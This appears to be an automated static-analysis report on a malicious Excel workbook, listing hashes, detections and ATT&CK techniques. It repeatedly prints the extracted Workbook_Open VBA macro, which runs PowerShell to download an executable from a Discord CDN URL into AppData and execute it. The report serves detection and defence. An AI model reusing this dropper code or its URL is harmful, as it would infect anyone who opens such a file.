Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f751345e597aad99…

MALICIOUS

Office (OOXML)

29.3 KB Created: 2002-11-14 18:47:55 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-07-13
MD5: 994b738baa333c6de7380a18237b0623 SHA-1: 0d194484f2960718848029c23fb4377b68771e5a SHA-256: f751345e597aad998491cadfb8c6c4ea6da36f642f9f2d0d1e3d4b64f76aa639
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro within this Excel document is designed to execute a PowerShell command. This command downloads a file named 'ziggy.exe' from a Discord CDN URL and saves it as 'fortnite.exe' in the user's AppData directory, subsequently executing it. This indicates a dropper functionality, aiming to fetch and run a secondary malicious payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub Workbook_Open()
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run ("powershell.exe -Command ""  Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/789172057136037960/863277380977033236/ziggy.exe' -OutFile '%appdata%\fortnite.exe' ;Start-Process -NoNewWindow -FilePath '%appdata%\fortnite.exe'  """)
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run ("powershell.exe -Command ""  Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/789172057136037960/863277380977033236/ziggy.exe' -OutFile '%appdata%\fortnite.exe' ;Start-Process -NoNewWindow -FilePath '%appdata%\fortnite.exe'  """)
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub Workbook_Open()
        Set objShell = CreateObject("WScript.Shell")
        objShell.Run ("powershell.exe -Command ""  Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/789172057136037960/863277380977033236/ziggy.exe' -OutFile '%appdata%\fortnite.exe' ;Start-Process -NoNewWindow -FilePath '%appdata%\fortnite.exe'  """)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Workbook_Open()
        Set objShell = CreateObject("WScript.Shell")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://cdn.discordapp.com/attachments/789172057136037960/863277380977033236/ziggy.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 957 bytes
SHA-256: 99808a4209a39d6ee93d6f69c2a787ad6ab4fcaf6f3874e041a6c4376d0a0cb5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run ("powershell.exe -Command ""  Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/789172057136037960/863277380977033236/ziggy.exe' -OutFile '%appdata%\fortnite.exe' ;Start-Process -NoNewWindow -FilePath '%appdata%\fortnite.exe'  """)
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 13824 bytes
SHA-256: 37c12bf1a930eb15931ba99fee9213bb96231b356cbdd254a97c05a2500d7ce1
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely